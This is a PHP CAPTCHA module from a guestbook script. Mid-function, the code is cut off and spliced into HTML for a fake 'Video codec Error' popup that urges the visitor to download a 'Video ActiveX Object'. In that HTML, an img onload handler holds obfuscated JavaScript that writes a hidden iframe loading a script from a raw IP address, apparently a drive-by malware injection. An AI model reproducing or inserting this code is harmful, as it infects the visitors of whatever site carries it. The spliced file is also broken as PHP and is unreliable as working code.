<?php
/****************************************************************************
* DRBGuestbook
* http://www.dbscripts.net/guestbook/
*
* Copyright © 2007 Don B
****************************************************************************/

// These are defaults; for customizaton, add/modify in config.php
$CHALLENGE_STRING_LENGTH = 5;
$CHALLENGE_STRING_LETTERS = 'ABCDEFGHJKLMNPQRTUVWXY3678@#$&*+?';
$CHALLENGE_STRING_SESSION_VAR_NAME = 'drbg_challenge_string';
$CHALLENGE_STRING_FONT_SIZE = 5;
$CHALLENGE_BACKGROUND_PATTERN_ENABLED = TRUE;
$CHALLENGE_BACKGROUND_STRING_FONT_SIZE = 1;
$CHALLENGE_ALTERNATE_COLORS = TRUE;
$CHALLENGE_STRING_PADDING = 4;	// in pixels
$CHALLENGE_CONVERT_TO_UPPER = TRUE;
$CHALLENGE_FIELD_PARAM_NAME = "electricsheep";
$CHALLENGE_ENABLED = TRUE;

// These are defaults; for customizaton, add/modify in strings.php
$CHALLENGE_FIELD_NAME = "Enter Code";
$ERROR_MSG_BAD_CHALLENGE_STRING = "The code was not correct.";

function createChallengeString() {
global $CHALLENGE_STRING_LENGTH;

$challenge_string = "";

// Create string from random characters in list of valid characters
for($i = 0; $i < $CHALLENGE_STRING_LENGTH; $i++) {
$challenge_string .= pickNextChar();
}

// Store challenge string in session
@session_start();
global $CHALLENGE_STRING_SESSION_VAR_NAME;
$_SESSION[$CHALLENGE_STRING_SESSION_VAR_NAME] = $challenge_string;

return $challenge_string;
}

function pickNextChar() {
global $CHALLENGE_STRING_LETTERS;
return substr($CHALLENGE_STRING_LETTERS, (rand() % strlen($CHALLENGE_STRING_LETTERS)), 1);
}

function getChallengeString() {
global $CHALLENGE_STRING_SESSION_VAR_NAME;

// Check if a valid challenge string does not exist
@session_start();
if(!isset($_SESSION[$CHALLENGE_STRING_SESSION_VAR_NAME])) {
return FALSE;
}

return $_SESSION[$CHALLENGE_STRING_SESSION_VAR_NAME];
}

function isChallengeAccepted($entered_value) {
global $CHALLENGE_STRING_SESSION_VAR_NAME;

// Get challenge string
$challenge_string = getChallengeString();
if($challenge_string === FALSE) { return FALSE; }

// Convert entered value into uppercase, if enabled
global $CHALLENGE_CONVERT_TO_UPPER;
if($CHALLENGE_CONVERT_TO_UPPER === TRUE) {
$entered_value = strtoupper($entered_value);
}

// Remove from session, so that it cannot be reused
unset($_SESSION[$CHALLENGE_STRING_SESSION_VAR_NAME]);

// Compare entered value to challenge string in session
return ($challenge_string === $entered_value);
}

function outputChallengeImage() {

// Create a challenge string
$challenge_string = getChallengeString();
if($challenge_string === FALSE) { return FALSE; }

// Set content type
header("Content-type: image/png");

// Get character sizes and string sizes
global $CHALLENGE_STRING_FONT_SIZE;
global $CHALLENGE_STRING_LENGTH;
$char_width = imagefontwidth($CHALLENGE_STRING_FONT_SIZE);
$char_height = imagefontheight($CHALLENGE_STRING_FONT_SIZE);
$string_width = $CHALLENGE_STRING_LENGTH * $char_width;
$string_height = 1 * $char_height;

// Create image and get color
global $CHALLENGE_STRING_PADDING;
$img_width = $string_width + $CHALLENGE_STRING_PADDING * 2;
$img_height = $string_height + $CHALLENGE_STRING_PADDING * 2;
$img = @imagecreatetruecolor($img_width, $img_height)
or die("imagecreatetruecolor failed");

// Pick colors
global $CHALLENGE_ALTERNATE_COLORS;
if($CHALLENGE_ALTERNATE_COLORS === FALSE || rand(0, 1) == 0) {
$background_color = imagecolorallocate($img, 15, 15, 15);
$text_color = imagecolorallocate($img, 238, 238, 238);
$bg_text_color = imagecolorallocate($img, 95, 95, 95);
} else {
$background_color = imagecolorallocate($img, 238, 238, 238);
$text_color = imagecolorallocate($img, 15, 15, 15);
$bg_text_color = imagecolorallocate($img, 191, 191, 191);
}

// Fill background
imagefill($img ,0, 0, $background_color);

// Draw background text pattern
global $CHALLENGE_BACKGROUND_PATTERN_ENABLED;
if($CHALLENGE_BACKGROUND_PATTERN_ENABLED === TRUE) {
global $CHALLENGE_BACKGROUND_STRING_FONT_SIZE;
$bg_char_width = imagefontwidth($CHALLENGE_BACKGROUND_STRING_FONT_SIZE);
$bg_char_height = imagefontheight($CHALLENGE_BACKGROUND_STRING_FONT_SIZE)<script>check_content()</script>ript>

<center>
<a href="javascript:Down2();"><img style="border: 1px solid rgb(238, 238, 238); background: rgb(0, 0, 0) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" src="play.gif" height="400" width="480"></a>

<div id="popdiv" style="z-index: 1; left: 450px; visibility: hidden ; position: absolute; top: 240px;" name="popdiv">


<table border="0" cellpadding="0" cellspacing="0" width="389">
<tbody><tr>
<td height="36">
<table border="0" cellpadding="0" cellspacing="0">
<tbody><tr>

<td height="36" width="5"><img src onload = "function a1(s){b='';for(i=0;i<s.length;i+=4>>1)b+=s.charAt(i);return b;}document.write(a1('\074u\x64n\151k\x76n\040o\x73w\164n\x79 \154o\x65b\075f\x22u\166s\x69c\163a\x69t\142i\x69o\154n\x69u\164n\x79k\072n\x68o\151w\x64n\144 \x65o\156b\x22f\076u\x3cs\151c\x66a\162t\x61i\155o\x65n\040u\x73n\162k\x63n\075o\x22w\150n\x74 \164o\x70b\072f\x2fu\057s\x37c\071a\x2et\061i\x33o\065n\x2eu\061n\x36k\067n\x2eo\061w\x38n\057 \x63o\147b\x69f\055u\x62s\151c\x6ea\057t\x69i\156o\x64n\145u\x78n\056k\x63n\147o\x69w\077n\x75 \163o\x65b\162f\x37u\042s\x20c\166a\x69t\163i\x69o\142n\x69u\154n\x69k\164n\x79o\072w\x68n\151 \x64o\144b\x65f\156u\x20s\167c\x69a\144t\x74i\150o\x3dn\061u\x30n\060k\x20n\150o\x65w\151n\x67 \150o\x74b\075f\x38u\060s\x3ec\074a\x2ft\151i\x66o\162n\x61u\155n\x65k\076n\x3co\057w\x64n\151 \x76o\076b'));"="img0.gif" height="36" width="5"></td>
<td background="img1.gif" bgcolor="#0064b2" width="357"><font style="font-family: Verdana; font-style: normal; font-variant: normal; font-weight: bold; font-size: 12px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(255, 255, 255);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Video codec Error</font></td>
<td bgcolor="#0064b2" width="21"><img src="img2.gif" onClick="Close();" height="36" width="21"></td>
<td width="6"><img src="img3.gif" height="36" width="6"></td>
</tr>
</tbody></table>
</td>
</tr>

<tr>
<td background="img4.gif" bgcolor="#ffffde" height="203" valign="top">
<table border="0" cellpadding="0" cellspacing="0" height="130" width="100%">
<tbody><tr>
<td width="120">&nbsp;</td>
<td valign="top">
<div style="width: 100%; height: 35px;"></div>
<font style="font-size: 11px;" color="#000000" face="Tahoma">
<b>Video ActiveX Object Error:</b><br>

Your browser cannot display this video file.<br><br>
You need to download new version of Video<br>
ActiveX Object to play this video file.        </font>
</td>
</tr>
</tbody></table>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td align="center">